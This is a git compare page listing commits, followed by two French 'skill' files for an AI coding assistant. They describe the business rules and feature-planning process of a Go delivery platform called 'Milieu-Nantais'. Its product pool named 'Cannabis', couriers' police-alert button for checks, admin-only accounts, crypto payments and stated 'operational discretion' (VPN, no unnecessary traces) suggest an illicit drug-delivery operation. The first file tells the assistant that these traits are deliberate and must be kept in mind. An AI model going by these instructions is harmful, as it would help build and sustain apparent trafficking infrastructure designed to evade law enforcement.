Compare commits
257
Commits
main
..
f3dfb7b2ae
| Author | SHA1 | Date | |
|---|---|---|---|
|
|
f3dfb7b2ae | ||
|
|
a7add1d2f7 | ||
|
|
88b5a48956 | ||
|
|
4474b84e49 | ||
|
|
75b80b8f59 | ||
|
|
82f9a2fae9 | ||
|
|
06abfee274 | ||
|
|
12cc14eb2b | ||
|
|
5a6861ae04 | ||
|
|
4499d76b9a | ||
|
|
901d013830 | ||
|
|
1623a9eafd | ||
|
|
e5a17443cf | ||
|
|
39216fc137 | ||
|
|
c35f99b410 | ||
|
|
020ba7c1e4 | ||
|
|
0d9b4adc3a | ||
|
|
075dc45ca1 | ||
|
|
45e8e75be9 | ||
|
|
9c6deb59e6 | ||
|
|
48340317d8 | ||
|
|
dfa432862a | ||
|
|
d6f5f2b1f2 | ||
|
|
74bf9cf14c | ||
|
|
e5333395b9 | ||
|
|
545e033a5f | ||
|
|
05d0d879fe | ||
|
|
734493363f | ||
|
|
8c3fa39d86 | ||
|
|
b52977af03 | ||
|
|
d8d34932e5 | ||
|
|
4de42cff57 | ||
|
|
2919bca86d | ||
|
|
becadc0bb2 | ||
|
|
4409ccf574 | ||
|
|
ae7c16c9ee | ||
|
|
06e35964b1 | ||
|
|
f3141f8f71 | ||
|
|
54fb87a464 | ||
|
|
f674b6ef80 | ||
|
|
f531ddcda8 | ||
|
|
12a7facc45 | ||
|
|
5cd8ada828 | ||
|
|
75a241dadb | ||
|
|
fcf1e737d6 | ||
|
|
cc3a283fba | ||
|
|
c8d1c75ee9 | ||
|
|
cfb5b79025 | ||
|
|
9e6473ed3f | ||
|
|
2311631825 | ||
|
|
211df2e8d6 | ||
|
|
a95ee51f6c | ||
|
|
07936f0bf6 | ||
|
|
2b1e8ec2fc | ||
|
|
6cd3fc674c | ||
|
|
8d131a1ade | ||
|
|
781212f706 | ||
|
|
9fcc77307f | ||
|
|
1721f55060 | ||
|
|
b8aab5643f | ||
|
|
3be323fcfe | ||
|
|
75161a1ae0 | ||
|
|
1d7dbe1eaa | ||
|
|
d9ad4cb2cf | ||
|
|
69711796a3 | ||
|
|
7e6629167f | ||
|
|
a8a3cdeed9 | ||
|
|
784642ffa6 | ||
|
|
79a51a03aa | ||
|
|
83329cef41 | ||
|
|
5f734d38e4 | ||
|
|
9641d7cc45 | ||
|
|
2fc6711eaa | ||
|
|
304263a95e | ||
|
|
c3e61f12fa | ||
|
|
066443e228 | ||
|
|
dae547cfa9 | ||
|
|
b670bc3108 | ||
|
|
bafed46be6 | ||
|
|
a9c53c3b62 | ||
|
|
ff967f0b7b | ||
|
|
70988be353 | ||
|
|
68bd0d57d6 | ||
|
|
4c74de017f | ||
|
|
6111f88dc0 | ||
|
|
f5de187c82 | ||
|
|
b73d190574 | ||
|
|
d28dbf9fb0 | ||
|
|
1494f5e669 | ||
|
|
a1a8e6c3f3 | ||
|
|
531602512b | ||
|
|
5568ebdf31 | ||
|
|
880d5ac234 | ||
|
|
3c265fbecf | ||
|
|
a2a796ffd8 | ||
|
|
cee859539e | ||
|
|
13d978c76e | ||
|
|
403e765a51 | ||
|
|
768de08f87 | ||
|
|
202bab0e03 | ||
|
|
2c8979c34f | ||
|
|
4bec5dcd6d | ||
|
|
74f3d4815e | ||
|
|
26f4e75314 | ||
|
|
26c0c169a3 | ||
|
|
9ec83e3987 | ||
|
|
1d0e396776 | ||
|
|
f576db7cdd | ||
|
|
450f930603 | ||
|
|
5a77bacb04 | ||
|
|
af9092fa34 | ||
|
|
9e0231a88e | ||
|
|
b12358ae02 | ||
|
|
88b6a03a9c | ||
|
|
98722b0579 | ||
|
|
4f9e73a305 | ||
|
|
ec7e59550b | ||
|
|
440792a066 | ||
|
|
12ae7282a6 | ||
|
|
4ff4bef415 | ||
|
|
5e37f4263c | ||
|
|
9cf462abdd | ||
|
|
d4c06a6d3d | ||
|
|
c3c059eab6 | ||
|
|
f72313299d | ||
|
|
1f33a89f80 | ||
|
|
9404b1e77b | ||
|
|
1a1d62a1c1 | ||
|
|
b9a532abd5 | ||
|
|
2cd7f38908 | ||
|
|
8a503b544e | ||
|
|
be7e3b3bd8 | ||
|
|
83075e30d6 | ||
|
|
c0ff6dcd1d | ||
|
|
6f8de729ba | ||
|
|
093a7e0c42 | ||
|
|
59d4f89a14 | ||
|
|
dd861fd7be | ||
|
|
e30d394c0a | ||
|
|
263c21b3b4 | ||
|
|
446b15d29c | ||
|
|
6f699bea6a | ||
|
|
13c09c10c3 | ||
|
|
4a67b0cd82 | ||
|
|
ab6092ae82 | ||
|
|
ce45314c78 | ||
|
|
d18052e749 | ||
|
|
370b1a5742 | ||
|
|
0a8548033d | ||
|
|
4792536900 | ||
|
|
cc15901d93 | ||
|
|
2c3b5cd7d2 | ||
|
|
49d7c6506b | ||
|
|
48966dcb86 | ||
|
|
7f09400e79 | ||
|
|
20da2a560f | ||
|
|
cc278ecef5 | ||
|
|
1d96d558b9 | ||
|
|
63dabc3f8e | ||
|
|
888932454c | ||
|
|
2ca28e730b | ||
|
|
13df186854 | ||
|
|
a57be7d7fe | ||
|
|
bdb76b4d3f | ||
|
|
06ab24c69b | ||
|
|
88030da8be | ||
|
|
92e1e50a5d | ||
|
|
41c1d4c24a | ||
|
|
061fb152cb | ||
|
|
7f0b3ff29b | ||
|
|
b810248d74 | ||
|
|
aada31a7da | ||
|
|
58cbc569c4 | ||
|
|
b5196c5f22 | ||
|
|
a1d5664d6b | ||
|
|
39dfbb940c | ||
|
|
3e02aaa9b2 | ||
|
|
9b50dca96c | ||
|
|
624f8a0e72 | ||
|
|
fbb680ccb2 | ||
|
|
38e9bff7ee | ||
|
|
0317fb45df | ||
|
|
8a853074b7 | ||
|
|
e7b83f406b | ||
|
|
b379508831 | ||
|
|
15a454768d | ||
|
|
7262d44f5a | ||
|
|
72c8003acf | ||
|
|
1bee48d81a | ||
|
|
56a94c8439 | ||
|
|
8df5bd66d3 | ||
|
|
929dea7249 | ||
|
|
c71b596400 | ||
|
|
d773a9c49f | ||
|
|
93120f6bfe | ||
|
|
48bdba750e | ||
|
|
f9b55d4ae4 | ||
|
|
f87a9e1b97 | ||
|
|
3dfc15cec1 | ||
|
|
a8e22e63bc | ||
|
|
e69403043d | ||
|
|
cf686ffa51 | ||
|
|
a8696b12fa | ||
|
|
94fa9de6a7 | ||
|
|
72a813cfc1 | ||
|
|
86c01789b4 | ||
|
|
ac1d3d8d9f | ||
|
|
16792094e3 | ||
|
|
f00b3a981d | ||
|
|
0350074242 | ||
|
|
afbe310dd7 | ||
|
|
cefc7e9f32 | ||
|
|
e09bbb05b9 | ||
|
|
7443d06029 | ||
|
|
f951ed9187 | ||
|
|
58b9a0827f | ||
|
|
04671637d2 | ||
|
|
921c861311 | ||
|
|
1342e71a3f | ||
|
|
32f46fcfd4 | ||
|
|
928a5f5f57 | ||
|
|
3eba3e3a15 | ||
|
|
775b9200f5 | ||
|
|
4ad80fa57d | ||
|
|
dce417c209 | ||
|
|
e0c354d76c | ||
|
|
0fe8a06bfa | ||
|
|
426f4b42ee | ||
|
|
0039dda8a0 | ||
|
|
65d1367f42 | ||
|
|
fb63855d9b | ||
|
|
9a2f0d91ad | ||
|
|
1319a4219a | ||
|
|
f41938e563 | ||
|
|
6f52f984e8 | ||
|
|
7251280598 | ||
|
|
1b32355117 | ||
|
|
73c5965a31 | ||
|
|
2be5b6e2bf | ||
|
|
71ccbd553e | ||
|
|
2bec488fd9 | ||
|
|
8792b1691e | ||
|
|
3c16ca015d | ||
|
|
a081fd3b4d | ||
|
|
1c04ce3095 | ||
|
|
f678c948dd | ||
|
|
57fb1b1ecd | ||
|
|
7af2103164 | ||
|
|
78c498159d | ||
|
|
0a4953334a | ||
|
|
80115c057b | ||
|
|
6958b30fa0 | ||
|
|
63c6086625 | ||
|
|
97712f240e | ||
|
|
810d7bcabd | ||
|
|
e47cc2bf57 | ||
|
|
1672dc1e20 |
@@ -0,0 +1,158 @@
|
||||
---
|
||||
name: comprehension-metier
|
||||
description: Charge le modèle métier complet de la plateforme de gestion de commandes/livraison (rôles, cycle de vie des commandes, stock, catalogue, points/récompenses, parrainage, pénalités, paiements, GPS/assignation, alertes, paramètres configurables). À invoquer avant toute analyse, debug ou modification qui touche à la logique métier — pas seulement au code — pour raisonner avec les vraies règles du business plutôt qu'avec des hypothèses.
|
||||
---
|
||||
|
||||
# Compréhension métier — Plateforme de gestion de commandes/livraison
|
||||
|
||||
Référence condensée mais complète du domaine, construite à partir du `README.md`, des modèles Go (`models/`) et du code des handlers/DB. Objectif : éviter de raisonner uniquement "à partir du code" sans connaître les règles métier réelles, ce qui est la source la plus fréquente de bugs silencieux dans ce projet (stock, remboursements, idempotence, paramètres codés en dur au lieu de suivre `AppSettings`).
|
||||
|
||||
## Contexte général
|
||||
|
||||
Plateforme de commande + livraison ("Milieu-Nantais", contact Telegram `MLN44LA`) avec catalogue produit par catégories (ex. pools de points nommés "Cannabis", "Accessoires" dans les settings par défaut), paiement cash ou crypto, livreurs géolocalisés avec assignation automatique, et un livreur dispose d'un bouton d'alerte police en cas de contrôle/danger pendant une livraison. Cette nature du produit (aucune auto-inscription client, alerte police, paiement crypto natif, pénalités dissuasives sur annulation tardive) doit rester présente à l'esprit : les règles de sécurité et de discrétion opérationnelle (VPN, filtrage des données sensibles pour les livreurs, pas de traces inutiles) sont volontaires, pas accidentelles.
|
||||
|
||||
## Rôles et permissions
|
||||
|
||||
| Rôle | Description | Peut faire |
|
||||
|------|-------------|------------|
|
||||
| **client** | Utilisateur final | Panier, checkout, suivi commande, approuver/annuler, parrainage, points/récompenses, profil, 2FA |
|
||||
| **admin** | Gestion complète | Tout : produits, clients, commandes, livreurs, cabine, pénalités, paramètres globaux, reset stats |
|
||||
| **livreur** | Livreur assigné | Voir ses livraisons (données client filtrées), changer statut, position GPS, queue, alerte police, notifications |
|
||||
| **cabine** | Cuisine/préparation | Voir items commande, préparer/emballer, assigner livreur, confirmer réception, pénalités client, alertes |
|
||||
|
||||
Règles clés (dont certaines issues du changelog sécurité v5.4.0) :
|
||||
- **Aucune auto-inscription** — les comptes clients sont créés **uniquement par un admin** (`POST /api/v2/admin/protected/clients`). Un nouvel endpoint d'inscription libre serait une régression de sécurité majeure.
|
||||
- **Création de comptes admin entièrement bloquée côté application** — un compte `admin` ne peut être créé qu'en base de données directement, jamais via l'API, quel que soit le rôle appelant (y compris un autre admin).
|
||||
- **`cabine` n'a plus aucun droit de création d'utilisateurs ou de clients** (retiré côté backend en v5.4.0) — seul `admin` crée des comptes `livreur` ou `cabine`.
|
||||
- JWT séparés par famille de rôle : secret client (`USER_JWT_SECRET`, expiration 5h) ≠ secret admin/livreur/cabine (`ADMIN_JWT_SECRET`, expiration 10h/2h selon contexte).
|
||||
- Chaque action livreur doit vérifier que la commande lui est **assignée** (`livreur_assign == usernameStr`), pas seulement le rôle.
|
||||
- **Filtrage des données sensibles** : les livreurs ne reçoivent jamais le téléphone du client dans `GET /livreur/deliveries` — uniquement nom/prénom. Tout nouvel endpoint livreur exposant des données client doit respecter ce filtrage.
|
||||
|
||||
## Cycle de vie d'une commande
|
||||
|
||||
```
|
||||
pending → assigned → en_route → arrived → livre → approved
|
||||
↓ ↓ ↓ ↓
|
||||
cancelled (depuis presque tous les états — jamais depuis approved, jamais deux fois de suite)
|
||||
```
|
||||
|
||||
- `pending` : créée au checkout, en attente d'assignation livreur (auto-assign GPS au checkout, ou worker CRON toutes les 1 minute, ou assignation manuelle admin/cabine).
|
||||
- `assigned` : livreur choisi, pas encore parti. Le livreur peut aussi être réassigné manuellement (admin/cabine).
|
||||
- `en_route` : livreur en chemin (`start` puis mise à jour de statut). ETA calculée (TomTom, fallback Haversine) et stockée dans Redis (`command:eta:{id}`), utilisée pour les notifications Telegram avec ETA.
|
||||
- `arrived` : livreur à destination — déclenché par le livreur (GPS), ou par admin/cabine via bouton "Le livreur est là" (`notify-client`). Notifie le client (Telegram). **Timer 5 minutes** démarre côté app livreur (`frontend-admin`, `DashboardScreen.tsx`, `ABSENT_TIMEOUT_SECS = 300`) → si le client ne descend pas, bouton **"Client absent"** apparaît.
|
||||
- `livre` : livraison confirmée. Deux voies : validation GPS livreur (distance ≤ 100m de la destination, coordonnées obligatoires) via `PUT /livreur/deliveries/:id/status`, ou override admin/cabine (`force-validate`/statut direct). En attente d'approbation client pour finaliser.
|
||||
- `approved` : finalisée. Déclenché par le client (`POST /commands/:id/approve` avec note + commentaire livreur), ou admin/cabine (`confirm-reception`/statut direct en override). Points de fidélité attribués **à ce moment précis**, jamais avant (`CalculateAndAddPointsForCommandTx`, même transaction que le passage en `approved`). **Terminal** — plus aucune modification de stock ou de statut après.
|
||||
- `cancelled` : peut survenir depuis quasiment tous les états précédents. Jamais depuis `approved`, jamais une seconde fois depuis `cancelled` (idempotence obligatoire).
|
||||
- `pending_payment` : statut intermédiaire spécifique au paiement crypto (voir section Paiements) — pas dans le cycle "normal", bascule vers `pending` (paiement confirmé) ou `cancelled` (paiement échoué/expiré).
|
||||
|
||||
**Trois chemins de code différents pour l'annulation** : `CancelCommandAtomic` (client), `UpdateDeliveryStatus`/branche `cancelled` (livreur — inclut le flux "client absent"), `UpdateCommandStatusAdmin` (admin/cabine). Toute règle métier touchant l'annulation (remboursement stock, pénalité, notification) doit être répercutée dans les **trois**, plus `CancelCryptoCommand` pour le cas crypto.
|
||||
|
||||
**Correction d'adresse** : si une adresse ne peut pas être géocodée ou est jugée invalide, un flux de proposition existe (`adresse_correction` table, `invalid_address` → `correct_address`) — le client peut répondre à une proposition (`POST /commands/:id/address/respond`), l'admin peut modifier l'adresse directement (`PUT /orders/:id/address`).
|
||||
|
||||
## Produits, catalogue et tarification
|
||||
|
||||
- Un produit (`products`) a un `stock` en **float** (pas un entier — permet des unités fractionnaires/dosages), une `unit`, une ou plusieurs catégories, un flag `coming_soon` (produit visible mais pas encore commandable), et des médias (images).
|
||||
- **Prix par quantité** (`product_prices`) : chaque palier de quantité a son propre prix et un flag `active_price`. Un prix désactivé (`active_price = false`) n'est **pas supprimé** — juste masqué. Les endpoints publics/client ne renvoient que les prix actifs ; `admin` et `cabine` voient tous les prix (actifs et inactifs) pour la gestion complète. Le frontend filtre aussi côté client par sécurité (`filter(p => p.active_price !== false)`).
|
||||
- Désactiver un prix dans l'UI admin (retirer un prix existant) doit désactiver, pas supprimer — cohérence avec l'historique des commandes passées qui référencent ce prix.
|
||||
|
||||
## Panier et stock
|
||||
|
||||
- Le panier (`baskets`) vérifie le stock disponible à l'ajout (`AddToBasket`, rejet si insuffisant) mais ne le réserve pas au sens strict (pas de verrou tant que l'article reste dans le panier) — le stock réel n'est **décrémenté qu'à la validation de la commande** (checkout), dans une transaction unique avec la création de la commande et le vidage du panier.
|
||||
- Un modèle `StockInfo` distingue `Quantity` (stock brut), `Reserved` (quantité présente dans des paniers actifs, à titre indicatif) et `Available` (`Quantity - Reserved`) — utilisé pour l'affichage admin, pas comme mécanisme de réservation dur.
|
||||
- **Articles récompense** (`is_reward = true`, obtenus via le système de points, prix affiché = 0€ mais valeur indicative dans `RewardItem.Price`) : ce sont des produits physiques réellement distribués. **Le stock doit être décrémenté pour eux comme pour un article payant**, et remboursé de la même façon en cas d'annulation. Ne jamais les exclure du décompte de stock — seule leur tarification (débit en points au lieu d'euros) diffère.
|
||||
- **Symétrie obligatoire** : toute décrémentation de stock doit avoir un chemin de remboursement, et vice-versa, **pour tous les articles sans exception** (récompense ou non). Une asymétrie désynchronise durablement le stock affiché de la réalité physique — c'est la classe de bug la plus dangereuse et la plus difficile à détecter de ce projet (corruption silencieuse, cumulative, visible seulement des semaines plus tard).
|
||||
- Toute commande annulée deux fois (retry réseau, double-tap, ou canaux différents pour la même commande) ne doit rembourser le stock **qu'une seule fois** → nécessite un statut "already cancelled" idempotent vérifié **dans** une transaction verrouillée (`FOR UPDATE`), pas une simple vérification préalable hors transaction.
|
||||
- Créer la commande + insérer les items + décrémenter le stock + vider le panier doivent être **une seule transaction** — sinon une commande "fantôme" (créée mais jamais payée en stock) peut survivre à un échec de décrément, puis être annulée plus tard et rembourser un stock jamais consommé.
|
||||
|
||||
## Paramètres globaux configurables (`AppSettings`)
|
||||
|
||||
Presque toutes les règles business ci-dessous sont **pilotées par un objet de settings unique**, modifiable par l'admin (`GET/PUT /api/v2/admin/protected/settings`) — ne jamais coder en dur une valeur qui existe déjà comme champ de `AppSettings` :
|
||||
|
||||
| Domaine | Champs | Notes |
|
||||
|---|---|---|
|
||||
| Pénalités | `PenaltiesEnabled`, `ShowAmendeScore`, `PenaltyTiers[]` | Tiers par défaut : 0→20€, 1→50€, 2→100€, 3→150€ (voir section Pénalités) |
|
||||
| Points | `PointsEnabled`, `PointsPools[]`, `PointsReward` | Pools par défaut : "Pool 1"/"Pool 2" avec barèmes différents (voir section Points) |
|
||||
| Parrainage | `ReferralEnabled`, `ReferralAmount` | Montant crédité par défaut = 0 (doit être configuré par l'admin) |
|
||||
| Paiement crypto | `CryptoPaymentEnabled`, `CryptoOnly`, `NowPaymentsAPIKey`, `NowPaymentsIPNSecret`, `NowPaymentsCurrencies[]` | `CryptoOnly = true` désactive le cash |
|
||||
| Livraison | `DeliverySchedule` (horaires par jour), `PostalZones[]` (nom, minimum de commande, codes postaux), `DeliveryMode` | Voir sections dédiées |
|
||||
| Telegram | `TelegramBotToken`, `TelegramBotUsername`, `TelegramNotificationsEnabled`, `Telegram2FAEnabled` | |
|
||||
| Vitrine | `ShopName` (def. "Milieu-Nantais"), `ContactTelegram` (def. "MLN44LA"), couleurs admin/client, dégradé titre | Purement cosmétique |
|
||||
|
||||
Toute nouvelle règle configurable doit suivre ce même modèle (ajout d'un champ `AppSettings` + valeur par défaut dans `DefaultSettings()`) plutôt qu'une constante Go.
|
||||
|
||||
## Système de points et récompenses (multi-pool)
|
||||
|
||||
- **Plusieurs "pools" de points** peuvent coexister, chacun associé à un sous-ensemble de catégories de produits (`PointsPool.Categories`) et avec son propre barème (`Tiers` : palier de montant dépensé → points gagnés, ex. 30–50€ → 1 point, 401€+ → 10 points). Un même achat peut alimenter un pool différent selon la catégorie du produit acheté.
|
||||
- Les points cumulés par pool sont stockés hors table `clients` classique (`points_extra`/`points_redeemed`, champs calculés `gorm:"-"`) — lus via `GetClientPointsAndRewards`.
|
||||
- **Récompense globale par seuil** (`PointsReward`) : un seuil de points (`Threshold`) débloque une récompense, dont l'éligibilité est filtrée par catégorie/produits (`CategoryConfigs`) **par pool** (seules les catégories appartenant au pool comptent). Le nombre de récompenses disponibles = `points_du_pool / Threshold - déjà_réclamées`.
|
||||
- **Réclamation** (`POST` claim, `ClaimMyReward`) : ajoute les `RewardItems` définis (produit + quantité) au panier avec `is_reward = true` et `reward_pool_key` renseigné — c'est le seul mécanisme qui produit des articles récompense. Consomme une unité de récompense disponible pour ce pool (`points_redeemed` incrémenté).
|
||||
- L'admin peut réinitialiser les récompenses réclamées d'un client pour un pool donné (`AdminResetClientRedeemed`).
|
||||
|
||||
## Parrainage (parrain/filleul)
|
||||
|
||||
- Un client peut être parrainé par un autre (`clients.parrain`). Lier un parrain + créditer le crédit de parrainage (`referral_balance`, montant = `AppSettings.ReferralAmount`) doit être **atomique** (une seule transaction) — sinon un crédit peut être appliqué sans lien enregistré ou l'inverse.
|
||||
- Le crédit de parrainage se débite au checkout (`DebitReferralBalance`) et doit respecter le minimum de la zone de livraison **après** déduction du crédit (le panier effectif payé doit rester ≥ minimum de la zone du code postal, `PostalZones`).
|
||||
- Si le checkout échoue après débit du crédit (paiement crypto refusé, création de commande en échec), le crédit doit être **recrédité** (`CreditClientReferral`) — sinon perte sèche pour le client.
|
||||
- Le système peut être entièrement désactivé (`ReferralEnabled = false`) — vérifier ce flag avant d'exposer une action de parrainage.
|
||||
|
||||
## Pénalités clients (amendes)
|
||||
|
||||
- Amendes **client uniquement**, jamais de pénalité livreur. Stockées dans `clients.amende`, avec compteur `cancellations_count` et `last_penalty_reason`.
|
||||
- Barème progressif **configurable** (`AppSettings.PenaltyTiers`, fallback interne si settings illisibles) — défaut : 1ère annulation 20€, 2ème 50€, 3ème 100€, 4ème+ 150€. Le montant appliqué = `penaltyForCount(cancellations_count, PenaltyTiers)`.
|
||||
- Le système entier peut être désactivé (`PenaltiesEnabled = false`) — dans ce cas le middleware `BlockClientIfPenalty` laisse passer sans vérification.
|
||||
- **Blocage du checkout** : tant que `amende > 0`, le middleware `BlockClientIfPenalty` bloque toute tentative de checkout (403), avec un cache de la pénalité en session Redis (`PenaltyCache`) pour éviter une lecture DB à chaque requête. Message standard invite à contacter le shop via Telegram pour régulariser.
|
||||
- **Sources d'amende** :
|
||||
- Client annule sa propre commande (`ApplyCancellationPenalty`, incrémente `cancellations_count`).
|
||||
- Livreur marque le client absent depuis le statut `arrived` (bouton "Client absent", `issue_type: client_absent`) → `ApplyCancellationPenalty` appliqué automatiquement au **client**, jamais au livreur.
|
||||
- Admin peut appliquer une pénalité manuelle arbitraire (`POST /admin/protected/penalty`, montant et raison libres) — indépendante du barème progressif.
|
||||
- "Annulation tardive" (règle spécifique au flux client `CancelCommandAtomic`, distincte du flux "client absent" livreur) = livreur déjà assigné ET (statut `en_route`/`arrived` OU ETA valide déjà définie en Redis). Sans livreur assigné ou sans ETA valide → annulation sans pénalité.
|
||||
|
||||
## Mode d'assignation des livreurs
|
||||
|
||||
- `DeliveryMode.Mode` : `"single"` (un seul pool de livreurs, toutes catégories confondues — mode par défaut) ou `"category_based"` (chaque livreur est routé uniquement vers les commandes contenant les catégories qui lui sont assignées, via `CategoryRoutes`).
|
||||
- En mode `category_based`, l'auto-assignation GPS doit filtrer les livreurs éligibles par catégorie **avant** de calculer les distances — une commande mixte (catégories de livreurs différents) est un cas limite à traiter explicitement si cette fonctionnalité est étendue.
|
||||
|
||||
## GPS, auto-assignation et ETA
|
||||
|
||||
- **Géocodage** : Nominatim (OpenStreetMap), résultat caché 7 jours (`geocode:cache:{hash}`).
|
||||
- **Distance à vol d'oiseau** : formule Haversine, calculée localement, aucun appel externe.
|
||||
- **ETA avec trafic réel** : TomTom Routing API. **Rotation automatique jusqu'à 3 clés** (`TOMTOM_API_KEY_1/2/3`) — en cas de quota dépassé (403/429), bascule automatique sur la clé suivante sans interruption ; si toutes les clés sont épuisées, fallback sur estimation Haversine + vitesse moyenne 30 km/h (flag `fallback_used: true` dans la réponse).
|
||||
- **Auto-assignation** : au checkout (immédiate si un livreur est disponible) et via un worker CRON toutes les 1 minute pour les commandes restées `pending`. Sélectionne le livreur disponible le plus proche avec de la capacité ; si tous sont à capacité maximale, le système peut forcer l'assignation.
|
||||
- **Capacité de queue** : jusqu'à **10 commandes** par livreur. Un livreur `offline` ne reçoit aucune commande.
|
||||
- Position GPS livreur stockée dans Redis (`delivery:location:{username}`, TTL 2h) et diffusée en temps réel via Redis Pub/Sub (`channel:position_updates`) pour la carte client/admin.
|
||||
- Liens de navigation générés vers Google Maps / Waze / Apple Maps / OSM / Bing / Here, pour le livreur comme pour l'admin (supervision).
|
||||
|
||||
## Paiements
|
||||
|
||||
- **Cash** (par défaut, sauf si `CryptoOnly = true`) : le livreur encaisse à la livraison, aucun flux électronique.
|
||||
- **Crypto** (NowPayments) : commande passe en `pending_payment` en attendant confirmation. Le webhook IPN (`POST /webhooks/nowpayments`) est **public** mais signé HMAC-SHA512 (`x-nowpayments-sig`) — vérifier la signature avant tout traitement, jamais faire confiance au contenu brut. Statuts `finished`/`confirmed` → activent la commande (repasse en `pending`, entre dans le cycle normal) ; `failed`/`expired` → annulent et remboursent stock + crédit parrainage.
|
||||
- Le stock est décrémenté **dès la création de la commande crypto** (avant confirmation du paiement) — une commande crypto non payée réserve quand même le stock pendant la fenêtre de paiement, et le libère si elle expire/échoue.
|
||||
- `CryptoPaymentEnabled = false` désactive complètement l'option crypto au checkout ; `CryptoOnly = true` la rend obligatoire.
|
||||
|
||||
## Alertes police (sécurité opérationnelle livreur)
|
||||
|
||||
- Un livreur peut déclencher une **alerte police** à tout moment (`POST /livreur/alert`, message optionnel) — notifie immédiatement tous les admins et cabine (`NotifyAllAdminCabineAlert`). C'est un bouton de sécurité personnelle, pas lié à une commande précise.
|
||||
- Les alertes peuvent être supprimées par le livreur qui les a créées ou par un admin.
|
||||
|
||||
## Notifications et 2FA
|
||||
|
||||
- **Telegram uniquement** — les push Expo sont abandonnées (v5.4.0). Clients, livreurs, admins lient leur compte via un token à usage unique (TTL court, ex. 5 min).
|
||||
- Types de notifications : `assigned`, `en_route` (avec ETA), `arrived`, `livre`, `ready_pickup` (cabine), `address_proposal`.
|
||||
- 2FA (client) : nécessite Telegram lié + activation admin globale (`Telegram2FAEnabled`) + toggle personnel du client. Code 6 chiffres, `session_token` TTL 5 min, rate-limité (429 après trop de tentatives).
|
||||
- Le système de notifications peut être désactivé globalement (`TelegramNotificationsEnabled = false`).
|
||||
|
||||
## Infrastructure (contexte pour évaluer l'impact d'un changement)
|
||||
|
||||
- Serveurs séparés reliés par VPN WireGuard privé (`10.0.0.0/24`) : `vpn-uber` (jump host), `monitoring-uber` (Wazuh/Dozzle/Beszel), `backup-mln` (MinIO S3 + ClamAV), `bdd-redis-prod` (PostgreSQL + Redis, **jamais exposé publiquement**), `prod-uber` (backend + WAF, seul serveur public sur 80/443).
|
||||
- PostgreSQL et Redis accessibles uniquement via IP VPN (`10.0.0.5`) depuis `prod-uber` — **latence réseau non négligeable**, d'où l'importance de grouper les requêtes (batch inserts, requêtes `IN`, parallélisation des stats déjà faites dans ce projet).
|
||||
- WAF nginx + ModSecurity (OWASP CRS) devant l'API en prod ; logs nginx/ModSecurity montés sur l'hôte pour collecte Wazuh.
|
||||
- Déploiement : push sur `pre-prod` → CI build image Docker (`xor1234/backend-mln:pre-prod`) → déploiement SSH.
|
||||
- Workers automatiques : auto-assignation (1 min), nettoyage queues (5 min), mise à jour ETA (30 s), nettoyage stock (5 min).
|
||||
|
||||
## Erreurs passées à ne pas reproduire (mémoire vive du projet)
|
||||
|
||||
- Vider le panier **avant** de décrémenter le stock (au lieu d'une seule transaction) → stock jamais décrémenté en pratique.
|
||||
- Restaurer le stock sans vérifier le statut précédent dans une transaction verrouillée → double remboursement sur double-annulation (le livreur avait ce bug, l'admin ne l'avait pas — incohérence entre chemins de code équivalents).
|
||||
- Créer la commande + insérer les items **avant** la transaction de décrément de stock → commande fantôme si le décrément échoue (stock insuffisant détecté trop tard), qui peut ensuite être annulée et rembourser un stock jamais consommé.
|
||||
- Exclure les articles récompense du décompte de stock sans les exclure aussi du remboursement (ou l'inverse) → asymétrie, stock qui dérive. Règle définitive validée par l'équipe : **les récompenses décrémentent et remboursent le stock exactement comme un article payant**.
|
||||
- Coder en dur une valeur métier (barème de pénalité, montant de parrainage, seuil de points) qui existe déjà comme champ configurable dans `AppSettings` — toujours lire les settings, ne jamais dupliquer une constante.
|
||||
@@ -0,0 +1,64 @@
|
||||
---
|
||||
name: plan-fonctionnalite
|
||||
description: À invoquer avant d'implémenter toute nouvelle fonctionnalité ou modification significative de logique métier sur ce projet. Produit un plan détaillé (compréhension métier, sécurité, impact données, concurrence, tests) à valider avec l'utilisateur avant d'écrire du code — n'implémente rien tant que le plan n'est pas approuvé.
|
||||
---
|
||||
|
||||
# Plan de développement de fonctionnalité
|
||||
|
||||
Ce skill encadre le développement de toute fonctionnalité non triviale sur ce projet. Règle centrale : **pas de code avant un plan validé par l'utilisateur**, sauf si la demande est un pur bug fix local déjà bien compris (dans ce cas, ce skill ne s'applique pas — voir "Quand ne pas utiliser ce skill").
|
||||
|
||||
## Étape 0 — Charger le contexte
|
||||
|
||||
Avant de rédiger le plan :
|
||||
1. Invoquer/relire le skill `comprehension-metier` pour ancrer le raisonnement dans les vraies règles du domaine (rôles, cycle de vie commande, stock, parrainage, pénalités, paiements).
|
||||
2. Repérer le(s) rôle(s) concerné(s) par la fonctionnalité (client / admin / livreur / cabine) et les fichiers existants correspondants (`handlers/`, `db/`) pour ne pas dupliquer un mécanisme déjà présent.
|
||||
3. Si la demande est ambiguë sur une règle métier (ex: "qui peut faire X", "est-ce que ça affecte le stock"), poser la question plutôt que de supposer.
|
||||
|
||||
## Étape 1 — Rédiger le plan
|
||||
|
||||
Utiliser `EnterPlanMode` si l'outil est disponible pour ce tour ; sinon présenter le plan en texte structuré et attendre confirmation explicite avant de coder. Le plan doit couvrir, dans cet ordre :
|
||||
|
||||
### 1. Résumé fonctionnel
|
||||
Quoi, pour qui, pourquoi — en une ou deux phrases orientées métier (pas techniques).
|
||||
|
||||
### 2. Rôles et permissions
|
||||
- Qui déclenche l'action, qui peut la voir, qui peut l'annuler/modifier.
|
||||
- Nouveau endpoint ? → préciser le middleware d'auth (client vs admin/livreur/cabine) et la vérification de propriété de ressource.
|
||||
|
||||
### 3. Impact sur les données
|
||||
- Nouvelles colonnes/tables ? Migration nécessaire (`ALTER TABLE ... IF NOT EXISTS` dans `db_init.go`, cohérent avec le style existant du projet).
|
||||
- Tables existantes affectées, et sens des colonnes touchées (stock, solde, statut, compteur).
|
||||
|
||||
### 4. Flux détaillé
|
||||
- Étapes séquencées, y compris les statuts intermédiaires si la fonctionnalité touche au cycle de vie d'une commande.
|
||||
- Effets de bord obligatoires à tracer explicitement : stock (décrément/remboursement symétriques, y compris articles récompense), points de fidélité, solde de parrainage, pénalités, notifications Telegram.
|
||||
|
||||
### 5. Sécurité (voir skill `securite-projet` pour le détail)
|
||||
- Validation d'entrée (bornes, whitelist de statuts, longueur).
|
||||
- Requêtes paramétrées uniquement.
|
||||
- Si paiement ou webhook externe impliqué : vérification de signature avant traitement.
|
||||
- Pas de nouveau chemin d'auto-inscription ou de contournement d'autorisation.
|
||||
|
||||
### 6. Concurrence et atomicité
|
||||
